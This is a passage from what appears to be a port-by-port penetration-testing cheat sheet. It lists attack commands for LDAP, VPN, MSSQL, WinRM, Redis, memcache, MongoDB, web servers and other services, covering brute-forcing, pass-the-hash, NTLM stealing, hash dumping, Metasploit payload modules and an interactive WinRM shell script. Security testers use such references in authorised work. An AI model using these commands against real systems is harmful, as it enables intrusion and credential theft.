-b \"DC=\u003c1_SUBDOMAIN\u003e,DC=\u003cTDL\u003e\"\nldapsearch -x -h $IP -D '\u003cDOMAIN\u003e\\\u003cusername\u003e' -w '\u003cpassword\u003e' -b \"DC=\u003c1_SUBDOMAIN\u003e,DC=\u003cTDL\u003e\"\n\npatator ldap_login host=$IP 1=/root/Downloads/passwords_ssh.txt user=hsmith password=FILE1 -x ignore:mesg='Authentication failed.'\n\n# for GUI\nGraphical Interface\nYou can download a graphical interface with LDAP server here:\nhttp://www.jxplorer.org/downloads/users.html\n\n```\n\n### HTTPS - 443\n\n- Read the actual SSL CERT to:\n    * find out potential correct vhost to GET\n    * is the clock skewed\n    * any names that could be usernames for bruteforce/guessing.\n\n```bash\nsslscan $IP:443\nnmap -sV --script=ssl-heartbleed $IP\n```\n### Port 500 -  ISAKMP IPsec/IKE VPN\n```bash\n# enumeration\nnmap -sU -p 500\n\nike-scan $IP\nike-scan -M $IP\n\n```\nAs you can see in the previous response, there is a field called AUTH with the value PSK.\nThis means that the vpn is configured using a preshared key (and this is really good for a pentester).\n* The value of the last line is also very important: *\n*  0 returned handshake; 0 returned notify: This means the target is not an IPsec gateway.\n* 1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable (a valid transform will be shown in the output)\n* 0 returned handshake; 1 returned notify: VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried).\n Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to brute-force a little bit to find a valid transformation:\nFirst of all you need to create all the possible transformations:\n```bash\nfor ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo \"--trans=$ENC,$HASH,$AUTH,$GROUP\" \u003e\u003e ike-dict.txt ;done ;done ;done ;done\n```\nAnd then brute-force each one using ike-scan (this can take several minutes):\n```bash\nwhile read line; do (echo \"Valid trans found: $line\" \u0026\u0026 ike-scan -M $line \u003cIP\u003e) | grep -B14 \"1 returned handshake\" | grep \"Valid trans found\" ; done \u003c ike-dict.txt\n```\n* Reference Material\n\n[PSK cracking paper​](www.ernw.de/download/pskattack.pdf​)\n​[SecurityFocus Infocus​](www.securityfocus.com/infocus/1821)\n​[Scanning a VPN Implementation​](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)\n### Port 502 - Modbus\n```bash\n# Enumeration\nnmap --script modbus-discover -p 502 $IP\nmsf\u003e use auxiliary/scanner/scada/modbusdetect\nmsf\u003e use auxiliary/scanner/scada/modbus_findunitid\n\n```\n### Port 512 - Rexec\n\n\\x90\n\n### Port 513 - Rlogin\n```bash\n# login\napt install rsh-client\nrlogin -l \u003cUSER\u003e $IP\n\n```\n### Port 514 - RSH\n```bash\n# Login\nrsh $IP \u003cCommand\u003e\nrsh $IP -l domain\\user \u003cCommand\u003e\nrsh domain/user@$IP \u003cCommand\u003e\nrsh domain\\\\user@$IP \u003cCommand\u003e\n\n```\n### Port 515 - line printerdaemon LPd\n```bash\n# The lpdprint tool included in PRET is a minimalist way to print data directly to an LPD capable printer as shown below:\nlpdprint.py hostname filename\n```\nIf you want to learn more about [hacking printers read this page.](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)\n\n\n### 541 - FortiNet SSLVPN\n` \\x90 `\n### Port 548 - Apple Filing Protocol (AFP)\n```bash\n# enumeration\nmsf\u003e use auxiliary/scanner/afp/afp_server_info\nnmap -sV --script \"afp-* and not dos and not brute\" -p \u003cPORT\u003e $IP\n\n```\n### Port 554 - RTSP\n\n- Web interface, transfer images, streaming\nTo formulate a Basic authentication element,\none simple has to base 64 encode \u003cusername\u003e “:” \u003cpassword\u003e and add it to the request.\nSo a new request would look like:\n```bash\nDESCRIBE rtsp://\u003cip\u003e:\u003cport\u003e RTSP/1.0\\r\\nCSeq: 2\\r\\nAuthorization: Basic YWRtaW46MTIzNA==\\r\\n\\r\\n\n```\nAgain note the request is terminated with the double “\\r\\n”.\nThe value YWRtaW46MTIzNA== is the base 64 encoded username and password concatenated with “:”.\nIn this case I have used “admin”/”1234”.\nSome simple python scripting to try this out looks like:\n\n```python\nimport socket\nreq = \"DESCRIBE rtsp://\u003cip\u003e:\u003cport\u003e RTSP/1.0\\r\\nCSeq: 2\\r\\nAuthorization: Basic YWRtaW46MTIzNA==\\r\\n\\r\\n\"\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"192.168.1.1\", 554))\ns.sendall(req)\ndata = s.recv\nprint data\n# Voila! You have access.\n```\n```bash\n# enumeration\nnmap -sV --scripts \"rtsp-*\" -p 554 $IP\n\n```\n\u003e To bruteforce:\n https://github.com/Tek-Security-Group/rtsp_authgrinder\n\n### Port 623 / UDP / TCP - IPMI\n```bash\n# Enumeration\nnmap -n -p 623 10.0.0./24\nnmap -n-sU -p 623 10.0.0./24\nmsf \u003e use  auxiliary/scanner/ipmi/ipmi_version\n\n# version\nmsf \u003e use auxiliary/scanner/ipmi/ipmi_version\n\n```\n\n### Port 631 - Internet Printing Protocol(IPP)\n\u003e The Internet Printing Protocol (IPP) is defined in RFC2910 and RFC2911. It's an extendable protocol, for example ‘IPP Everywhere’ is a candidate for a standard in mobile and cloud printing and IPP extensions for 3D printing have been released.\n\u003e Because IPP is based on HTTP, it inherits all existing security features like basic/digest authentication and SSL/TLS encryption. To submit a print job or to retrieve status information from the printer, an HTTP POST request is sent to the IPP server listening on port 631/tcp. A famous open-source IPP implementation is CUPS,\n\u003e which is the default printing system in many Linux distributions and OS X. Similar to LPD,\n\u003e IPP is a channel to deploy the actual data to be printed and can be abused as a carrier for malicious PostScript or PJL files.\n\n### Port 873 - Rsync\n```bash\n# Enumeration\nnc -vn 127.0.0.1 873\n(UNKNOWN) [127.0.0.1] 873 (rsync) open\n@RSYNCD: 31.0        \u003c--- You receive this banner with the version from the server\n@RSYNCD: 31.0        \u003c--- Then you send the same info\n# list                \u003c--- Then you ask the sever to list\nraidroot             \u003c--- The server starts enumerating\nUSBCopy\nNAS_Public\n_NAS_Recycle_TOSRAID    \u003c--- Enumeration finished\n@RSYNCD: EXIT         \u003c--- Sever closes the connection\n\nnmap -sV --script \"rsync-list-modules\" -p 873 $IP\nmsf\u003e use auxiliary/scanner/rsync/modules_list\n\n#Example using IPv6 and a different port\nrsync -av --list-only rsync://[$IP-V6]:8730\n\n# manual\nrsync -av --list-only rsync://$IP/shared_name\n\n```\n### Port 1026 - Rusersd\n```bash\n# Enumeration\napt-get install rusers\nrusers -l $IP\nSending broadcast for rusersd protocol version 3...\nSending broadcast for rusersd protocol version 2...\ntiff       potatohead:console         Sep  2 13:03   22:03\nkatykat    potatohead:ttyp5           Sep  1 09:35      14\n\n```\n\n### Port 1028 / 1099 - Java RMI\n```bash\n# Enumeration\n\n# Basically this service could allow you to execute code.\nmsf \u003e use auxiliary/scanner/misc/java_rmi_server\nmsf \u003e use auxiliary/gather/java_rmi_registry\nnmap -sV --script \"rmi-dumpregistry or rmi-vuln-classloader\" -p 1028 $IP\n\n# Reverse Shell\nmsf \u003e use exploit/multi/browser/java_rmi_connection_impl\n\n```\n### Port 1030/1032/1033/1038\n\n- Used by RPC to connect in domain network.\n\n### MSSQL - 1433\n```bash\n# info\n\nnmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 \u003cIP\u003e\nmsf\u003e use auxiliary/scanner/mssql/mssql_ping\n\nnmap -p 1433 -sU --script=ms-sql-info.nse $IP\nsqsh -S $IP -U \u003cUsername\u003e -P \u003cPassword\u003e -D \u003cDatabase\u003e\n# OR\nsqsh -S $IP -U sa\n    xp_cmdshell 'date'\n    go\n\n#msfconsole\n\n#Set USERNAME, RHOSTS and PASSWORD\n#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used\n\n#Steal NTLM\nmsf\u003e use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder\n\n#Info gathering\nmsf\u003e use admin/mssql/mssql_enum #Security checks\nmsf\u003e use admin/mssql/mssql_enum_domain_accounts\nmsf\u003e use admin/mssql/mssql_enum_sql_logins\nmsf\u003e use auxiliary/admin/mssql/mssql_findandsampledata\nmsf\u003e use auxiliary/scanner/mssql/mssql_hashdump\nmsf\u003e use auxiliary/scanner/mssql/mssql_schemadump\n\n#Search for insteresting data\nmsf\u003e use auxiliary/admin/mssql/mssql_findandsampledata\nmsf\u003e use auxiliary/admin/mssql/mssql_idf\n\n#Privesc\nmsf\u003e use exploit/windows/mssql/mssql_linkcrawler\nmsf\u003e use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate\nmsf\u003e use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin\n\n#Code execution\nmsf\u003e use admin/mssql/mssql_exec #Execute commands\nmsf\u003e use exploit/windows/mssql/mssql_payload #Uploads and execute a payload\n\n#Add new admin user from meterpreter session\nmsf\u003e use windows/manage/mssql_local_auth_bypass\n\n```\n\n### Port 1521 - Oracle\n```bash\noscanner -s $IP -P 1521\ntnscmd10g version -h $IP\ntnscmd10g status -h $IP\nnmap -p 1521 -A $IP\nnmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute\n#MSF\nuse auxiliary/admin/oracle\nuse auxiliary/scanner/oracle\n```\n\n### Port 1723 - PPTP\n```bash\n# Enumeration\nnmap –Pn -sSV -p1723 $IP\n\n```\n### Port 1883 - MQTT (Mosquitto)\n\nTo connect to a MQTT service you can use: https://github.com/bapowell/python-mqtt-client-shell\n```bash\n\u003e connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)\n\u003e subscribe \"#\" 1\n\u003e subscribe \"$SYS/#\"\n\n```\nOr you could run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them:\n```python\n#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py\nimport paho.mqtt.client as mqtt\nimport time\nimport os\n\nHOST = \"127.0.0.1\"\nPORT = 1883\n\ndef on_connect(client, userdata, flags, rc):\n    client.subscribe('#', qos=1)\n    client.subscribe('$SYS/#')\n\ndef on_message(client, userdata, message):\n    print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))\n\ndef main():\n    client = mqtt.Client()\n    client.on_connect = on_connect\n    client.on_message = on_message\n    client.connect(HOST, PORT)\n    client.loop_start()\n    #time.sleep(10)\n    #client.loop_stop()\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n### Port 2049 - NFS TNS Listener\n```bash\n# enumeration\n# nmap scripts\nnfs-ls #List NFS exports and check permissions\nnfs-showmount #Like showmount -e\nnfs-statfs #Disk statistics and info from NFS share\n\n# msf modul\nscanner/nfs/nfsmount #Scan NFS mounts and list permissions\n\n# Mounting\nshowmount -e $IP\nmount -t nfs [-o vers=2] $IP:\u003cremote_folder\u003e \u003clocal_folder\u003e -o nolock\n\n```\n\n### Port 2100 - Oracle XML DB\n```sh\n#FTP\n    sys:sys\n    scott:tiger\n```\n - list of passwords :\nhttps://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm\n\n### Port 3260 - ISCSI\n```bash\n# Enumeration\nnmap -sV --script=iscsi-info -p 3260 $IP\n\n# Manual enumeration\nsudo apt-get install open-iscsi\niscsiadm -m discovery -t sendtargets -p $IP:3260\n123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe\n[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382\n[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382\n\n# Then you catch the 2nd part of the printed string of each line\niscsiadm -m node --targetname=\"iqn.1992-05.com.emc:fl1001433000190000-3-vnxe\" -p 123.123.123.123:3260 --login\nLogging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)\nLogin to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.\n\n# logout\niscsiadm -m node --targetname=\"iqn.1992-05.com.emc:fl1001433000190000-3-vnxe\" -p 123.123.123.123:3260 --logout\n\n```\n\n### Port 3299 - SAPRouter\n\nCopy of: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/\n```bash\nmsf\u003e use auxiliary/scanner/sap/sap_service_discovery\nmsf auxiliary(sap_service_discovery) \u003e set RHOSTS $IP\nRHOSTS =\u003e $IP\nmsf auxiliary(sap_service_discovery) \u003e run\n\n[*] [SAP] Beginning service Discovery '1.2.3.101'\n\n[+] 1.2.3.101:3299      - SAP Router OPEN\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\n\nmsf \u003e use auxiliary/scanner/sap/sap_router_info_request\n\n```\n\n### MySQL - 3306\n```bash\n# Enumeration\nnmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $IP\nmsf\u003e use auxiliary/scanner/mysql/mysql_version\nmsf\u003e use uxiliary/scanner/mysql/mysql_authbypass_hashdump\nmsf\u003e use auxiliary/scanner/mysql/mysql_hashdump #Creds\nmsf\u003e use auxiliary/admin/mysql/mysql_enum #Creds\nmsf\u003e use auxiliary/scanner/mysql/mysql_schemadump #Creds\nmsf\u003e use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds\n\n# Connect Remote\nmysql -h \u003cHostname\u003e -u root\nmysql -h \u003cHostname\u003e -u root@localhost\n\n```\n### Port 3339 - Oracle web interface\n\nBasic info about web service (apache, nginx, IIS)\n\n### Port 3389 - RDP\n```bash\n# enum\nnmap -p 3389 --script=rdp-vuln-ms12-020.nse $IP\nnmap --script \"rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info\" -p 3389 -T4 \u003cIP\u003e\n\n# Connect with known credetials/hash\nrdesktop -u \u003cusername\u003e $IP\nrdesktop -d \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e $IP\nxfreerdp /u:[domain\\]\u003cusername\u003e /p:\u003cpassword\u003e /v:$IPP\nxfreerdp /u:[domain\\]\u003cusername\u003e /pth:\u003chash\u003e /v:$IP\n\n# Check known credentials\nrdp_check \u003cdomain\u003e\\\u003cname\u003e:\u003cpassword\u003e@$IP\n\n[Post-Exploitation](https://github.com/JoelGMSec/AutoRDPwn)\n\n# Launch CMD with other cretentials so they are used in the network\nrunas /netonly /user\u003cDOMAIN\u003e\\\u003cNAME\u003e \"cmd.exe\" ::The password will be prompted\n\n```\n\n### Port 3632 - distcc\n\nResources :\n\n​* https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec​\n* ​https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855​\n\n### Port 4369 - Erlang Port Mapper Daemon (epmd)\n\n```bash\n# Enumeration\necho -n -e \"\\x00\\x01\\x6e\" | nc -vn $IP 4369\n\n# Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html\ndpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb\napt-get install erlang\nerl # Once Erlang is installed this will promp an erlang terminal\n1\u003e net_adm:names('\u003cHOST\u003e'). # This will return the listen addresses\n\n# Automatic\nnmap -sV -Pn -n -T4 -p 4369 --script epmd-info $IP\n\nPORT     STATE SERVICE VERSION\n4369/tcp open  epmd    Erlang Port Mapper Daemon\n| epmd-info:\n|   epmd_port: 4369\n|   nodes:\n|     bigcouch: 11502\n|     freeswitch: 8031\n|     ecallmgr: 11501\n|     kazoo_apps: 11500\n|_    kazoo-rabbitmq: 25672\n\n```\n\n### Port 5353 / UDP - Multicast DNS (mDNS)\n\n```bash\n# Enumeration\nnmap -Pn -sUC -p5353 192.168.1.2\n\nStarting Nmap 6.46 (http://nmap.org) at 2015-01-01 10:30 GMT\nNmap scan report for 192.168.1.2\nPORT     STATE SERVICE\n5353/udp open  zeroconf\n\n```\n\n### Port 5432 / 5433 -  Postgresql\n\n```bash\n# Connect\npsql -U \u003cmyuser\u003e # Open psql console with user\n\n# Remote connection\npsql -h $IP -U \u003cusername\u003e -d \u003cdatabase\u003e\npsql -h $IP -p \u003cport\u003e -U \u003cusername\u003e -W \u003cpassword\u003e \u003cdatabase\u003e\n\npsql -h localhost -d \u003cdatabase_name\u003e -U \u003cUser\u003e #Password will be prompted\n\\list # List databases\n\\c \u003cdatabase\u003e # use the database\n\\d # List tables\n#To read a file:\nCREATE TABLE demo(t text);\nCOPY demo from '[FILENAME]';\nSELECT * FROM demo;\n\n# Enumeration\nmsf\u003e use auxiliary/scanner/postgres/postgres_version\nmsf\u003e use auxiliary/scanner/postgres/postgres_dbname_flag_injection\n\n```\n### Port 5671 - AMQP\n\n```python\nimport amqp\n#By default it uses default credentials \"guest\":\"guest\"\nconn = amqp.connection.Connection(host=\"\u003cIP\u003e\", port=5672, virtual_host=\"/\")\nconn.connect()\nfor k, v in conn.server_properties.items():\n    print(k, v)\n```\n```bash\n# Automatic\nnmap -sV -Pn -n -T4 -p 5672 --script amqp-info $IP\n```\n\n### Port 5985 / 5986 - WinRM\n\n5985/tcp (HTTP)\n5986/tcp (HTTPS)\n\n```bash\ngem install evil-winrm\nevil-winrm -i $IP -u Administrator -p 'password1'\n# Pass the hash with evil-winrm\nevil-winrm -i $IP -u Administrator -H 'hash-pass'\n\n```\nCode extracted from here: https://alamot.github.io/winrm_shell/\n```ruby\nrequire 'winrm-fs'\n\n# Author: Alamot\n# To upload a file type: UPLOAD local_path remote_path\n# e.g.: PS\u003e UPLOAD myfile.txt C:\\temp\\myfile.txt\n\n\nconn = WinRM::Connection.new(\n  endpoint: 'https://IP:PORT/wsman',\n  transport: :ssl,\n  user: 'username',\n  password: 'password',\n  :no_ssl_peer_verification =\u003e true\n)\n\n\nclass String\n  def tokenize\n    self.\n      split(/\\s(?=(?:[^'\"]|'[^']*'|\"[^\"]*\")*$)/).\n      select {|s| not s.empty? }.\n      map {|s| s.gsub(/(^ +)|( +$)|(^[\"']+)|([\"']+$)/,'')}\n  end\nend\n\n\ncommand=\"\"\nfile_manager = WinRM::FS::FileManager.new(conn)\n\n\nconn.shell(:powershell) do |shell|\n    until command == \"exit\\n\" do\n        output = shell.run(\"-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'\u003e ')\")\n        print(output.output.chomp)\n        command = gets\n        if command.start_with?('UPLOAD') then\n            upload_command = command.tokenize\n            print(\"Uploading \" + upload_command[1] + \" to \" + upload_command[2])\n            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|\n                puts(\"#{bytes_copied} bytes of #{total_bytes} bytes copied\")\n            end\n            command = \"echo `nOK`n\"\n        end\n        output = shell.run(command) do |stdout, stderr|\n            STDOUT.print(stdout)\n            STDERR.print(stderr)\n        end\n    end\n    puts(\"Exiting with code #{output.exitcode}\")\nend\n```\n\n```\n#Msf\nmsf \u003e use auxiliary/scanner/winrm/winrm_login\n    #Bruteforce\nmsf \u003e use auxiliary/scanner/winrm/winrm_login\n    #Running Commands\nmsf \u003e use auxiliary/scanner/winrm/winrm_cmd\n    #Getting Shells!\nmsf \u003e use exploit/windows/winrm/winrm_script_exec\n\n```\n\n### VNC - 5800 / 5801 / 5900 / 5901 -  VNC\n\n```bash\n# Enumeration\nnmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p \u003cPORT\u003e $IP\nmsf\u003e use auxiliary/scanner/vnc/vnc_none_auth\n\n# Connect to vnc using Kali\nvncviewer [-passwd passwd.txt] $IP::5901\n\n```\n### Port 5984 - CouchDB\n\n```bash\n# Enumeration\nnmap -sV --script couchdb-databases,couchdb-stats -p 5984 $IP\nmsf\u003e use auxiliary/scanner/couchdb/couchdb_enum\n\ncurl http://IP:5984/\n# The reply should look something like:\n{\"couchdb\":\"Welcome\",\"version\":\"0.10.1\"}\n\n```\nReferences :\n* https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html​\n\n### Port 6000 - X11\n\n```bash\n# enumeration\nnmap -sV --script x11-access -p 6000 $IP\nmsf\u003e use auxiliary/scanner/x11/open_x11\n\n# Remote Desktop View Way from:\nhttps://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref\n\n# Get Shell\nmsf\u003e use exploit/unix/x11/x11_keyboard_exec\n\n```\n\n### Redis - 6379\n\n```bash\n# Enumeration\nnmap --script redis-info -sV -p 6379 $IP\nmsf\u003e use auxiliary/scanner/redis/redis_server\n\nhttps://github.com/Avinash-acid/Redis-Server-Exploit\npython redis.py 10.10.10.160 redis\n\n# redis-tools\nsudo apt-get install redis-tools\nredis-cli -h 192.168.0.24\n192.168.0.24:6379\u003e info\n192.168.0.24:6379\u003e CONFIG GET *\n192.168.0.24:6379\u003e keys *\n192.168.0.24:6379\u003e get 351115ba5f690fb9b1bdc1b41e673a94 #This is a key list on the last command\n\n# auto exploit\nredis-cli -h 192.168.0.24\n192.168.0.24:6379\u003e info\n192.168.0.24:6379\u003e CONFIG GET *\n192.168.0.24:6379\u003e keys *\n192.168.0.24:6379\u003e get 351115ba5f690fb9b1bdc1b41e673a94 #This is a key list on the last command\n\n```\n### Port 8009 - Apache JServ Protocol (AJP)\n\nBasic Information :\nFrom: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/\n```bash\n# Enumeration\nnmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 $IP\n\n```\n### MsDeploy - 8172\nMicrosoft IIS Deploy port\n```bash\n$IP:8172/msdeploy.axd\n```\n### Webdav\n```bash\ndavtest -cleanup -url http://$IP\ncadaver http://$IP\n```\n### Port 9042 / 9160 -  Cassandra\n```bash\n#Enumeration\npip install cqlsh\ncqlsh $IP\n#Basic info enumeration\nSELECT cluster_name, thrift_version, data_center, partitioner, native_protocol_version, rack, release_version from system.local;\n#Keyspace enumeration\nSELECT keyspace_name FROM system.schema_keyspaces;\ndesc \u003cKeyspace_name\u003e    #Decribe that DB\ndesc system_auth        #Describe the DB called system_auth\nSELECT * from system_auth.roles;  #Retreive that info, can contain credential hashes\nSELECT * from logdb.user_auth;    #Can contain credential hashes\nSELECT * from logdb.user;\nSELECT * from configuration.\"config\";\n# auto\nnmap -sV --script cassandra-info -p 9042,9160 $IP\n\n```\n\n### Port 9100 - Raw Printing (JetDirect, AppSocket, PDL-datastream)\n```bash\n# Enumeration\nnmap -sV --script pjl-ready-message -p \u003cPORT\u003e $IP\nmsf\u003e use auxiliary/scanner/printer/printer_env_vars\nmsf\u003e use auxiliary/scanner/printer/printer_list_dir\nmsf\u003e use auxiliary/scanner/printer/printer_list_volumes\nmsf\u003e use auxiliary/scanner/printer/printer_ready_message\nmsf\u003e use auxiliary/scanner/printer/printer_version_info\nmsf\u003e use auxiliary/scanner/printer/printer_download_file\nmsf\u003e use auxiliary/scanner/printer/printer_upload_file\nmsf\u003e use auxiliary/scanner/printer/printer_delete_file\n```\n[Printers Hacking tool](https://github.com/RUB-NDS/PRET)\n\n### Port 9200 - Elasticsearch\n\nRead this https://www.elastic.co/what-is/elasticsearch\n```bash\n# Enumeration\nfirefox http://$IP:9200/\n```\nYou can gather all the indices accessing `http://10.10.10.115:9200/_cat/indices?v`\n```sh\nhealth status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size\ngreen  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb\nyellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb\nyellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb\n\n```\n... in build\n\n### Port  10000 - Network Data Management Protocol (ndmp)\n\n```bash\n# Enumeration\nnmap -n -sV --script \"ndmp-fs-info or ndmp-version\" -p 10000 $IP\n\n```\n\n### Port 11211 - Memcache\n\nTo ex-filtrate all the information saved inside a memcache instance you need to:\n1 ) Find slabs with active items\n2 ) Get the key names of the slabs detected before\n3 ) Ex-filtrate the saved data by getting the key names\n\n```bash\necho \"version\" | nc -vn $IP 11211      #Get version\necho \"stats\" | nc -vn $IP 11211        #Get status\necho \"stats slabs\" | nc -vn $IP 11211  #Get slabs\necho \"stats items\" | nc -vn $IP 11211  #Get items of slabs with info\necho \"stats cachedump \u003cnumber\u003e 0\" | nc -vn $IP 11211  #Get key names\necho \"get \u003citem_name\u003e\" | nc -vn $IP 11211  #Get saved info\n\n#This php will just dumo the keys, you need to use \"get \u003citem_name\u003e later\"\nsudo apt-get install php-memcached\nphp -r '$c = new Memcached(); $c-\u003eaddServer(\"localhost\", 11211); var_dump( $c-\u003egetAllKeys() );'\n\n# auto mode ;)\nnmap -n -sV --script memcached-info -p 11211 $IP   #Just gather info\nmsf \u003e use auxiliary/gather/memcached_extractor      #Extracts saved data\nmsf \u003e use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible\n\n```\n\n### Port 15672 - RabbitMQ Management\n\n[management plugin](https://www.rabbitmq.com/management.html)\n\nThe default credentials are \"guest\":\"guest\"\n```bash\n# Enumeration\nrabbitmq-plugins enable rabbitmq_management\nservice rabbitmq-server restart\n\n```\n\n### Port 27017 / 27018 - MongoDB\n\n```python\nfrom pymongo import MongoClient\nclient = MongoClient(host, port, username=username, password=password)\nclient.server_info() #Basic info\n#If you have admin access you can obtain more info\nadmin = client.admin\nadmin_info = admin.command(\"serverStatus\")\ncursor = client.list_databases()\nfor db in cursor:\n    print(db)\n    print(client[db[\"name\"]].list_collection_names())\n#If admin access, you could dump the database also\n```\n\n```bash\n# Some MongoDB commnads:\nshow dbs\nuse \u003cdb\u003e\nshow collections\ndb.\u003ccollection\u003e.find()  #Dump the collection\ndb.\u003ccollection\u003e.count() #Number of records of the collection\ndb.current.find({\"username\":\"admin\"})  #Find in current db the username admin\n\n# Automatic\nnmap -sV --script \"mongo* and default\" -p 27017 $IP\n\n# Login\nmongo $IP\nmongo $IP:\u003cPORT\u003e\nmongo $IP:\u003cPORT\u003e/\u003cDB\u003e\nmongo \u003cdatabase\u003e -u \u003cusername\u003e -p '\u003cpassword\u003e'\n\nnmap -n -sV --script mongodb-brute -p 27017 $IP\n\n# Look inside /opt/bitnami/mongodb/mongodb.conf to know if credentials are needed:\ngrep \"noauth.*true\" /opt/bitnami/mongodb/mongodb.conf | grep -v \"^#\" #Not needed\ngrep \"auth.*true\" /opt/bitnami/mongodb/mongodb.conf | grep -v \"^#\\|noauth\" #Not needed\n\n```\n\n### Port 44818 / UDP / TCP - EthernetIP\n\nen.wikipedia.org/wiki/EtherNet/IP\n```bash\n# Enumeration\nnmap -n -sV --script enip-info -p 44818 $IP\npip3 install cpppo\npython3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity -a $IP\n```\n\n### Port 47808 / udp - BACNet\n\n```bash\n# Enumeration\npip3 install BAC0\nimport BAC0\nbbmdIP = '$IP:47808'\nbbmdTTL = 900\nbacnet = BAC0.connect(bbmdAddress=bbmdIP, bbmdTTL=bbmdTTL) #Connect\nbacnet.vendorName.strValue\n\n# Or just use nmap\nnmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 $IP\n\n```\n\n### Port 50030 / 50060 / 50070 / 50075 / 50090 - Hadoop\n\nBasic Information\n\nApache Hadoop is an open source framework supporting the distributed storage and processing of large datasets using computer clusters.\nStorage is handled by the Hadoop Distributed File System (HDFS) and processing is performed by using MapReduce and other applications (e.g., Apache Storm, Flink, and Spark) via YARN.\n\n### Unknown ports\n```bash\namap -d $IP 8000\n\n# netcat: makes connections to ports. Can echo strings or give shells:\n\nnc -nv $IP 110\n\n```\n* Try zone transfer for subdomains:\n\n```bash\ndig axfr @$IP hostname.box\ndnsenum $IP\ndnsrecon -d domain.com -t axfr\n\n```\n\n### Port 80 - web server\n\n* Navigate \u0026\u0026 robots.txt \u0026\u0026sitemap.xml :smirk:\n* Headers\n* Source Code\n\n```bash\n# Server Version (Vulnerable?)\nwhatweb -a 1 \u003cURL\u003e #Stealthy\nwhatweb -a 3 \u003cURL\u003e #Aggresive\nwebtech -u \u003cURL\u003e\n\n# Nikto\nnikto -h http://$ip\n\n# CMS Explorer\ncms-explorer -url http://$IP -type [Drupal, WordPress, Joomla, Mambo]\n\n# WPScan (vp = Vulnerable Plugins, vt = Vulnerable Themes, u = Users)\nwpscan --url http://$IP\nwpscan --url http://$IP --enumerate vp\nwpscan --url http://$IP --enumerate vt\nwpscan --url http://$IP --enumerate u\nwpscan -e --url https://url.com\n\n# Enum User:\n\nfor i in {1..50}; do curl -s -L -i https://ip.com/wordpress\\?author=$i | grep -E -o \"Location:.*\" | awk -F/ '{print $NF}';done\n\n# Joomscan\njoomscan -u  http://$IP\njoomscan -u  http://$IP --enumerate-components\n\n# Get header\ncurl -i $IP\n\n# Get options\ncurl -i -X OPTIONS $IP\n\n# Get everything\ncurl -i -L $IP\ncurl -i -H \"User-Agent:Mozilla/4.0\" http://$IP:8080\n\n# Check for title and all links\ncurl $IP -s -L | grep \"title\\|href\" | sed -e 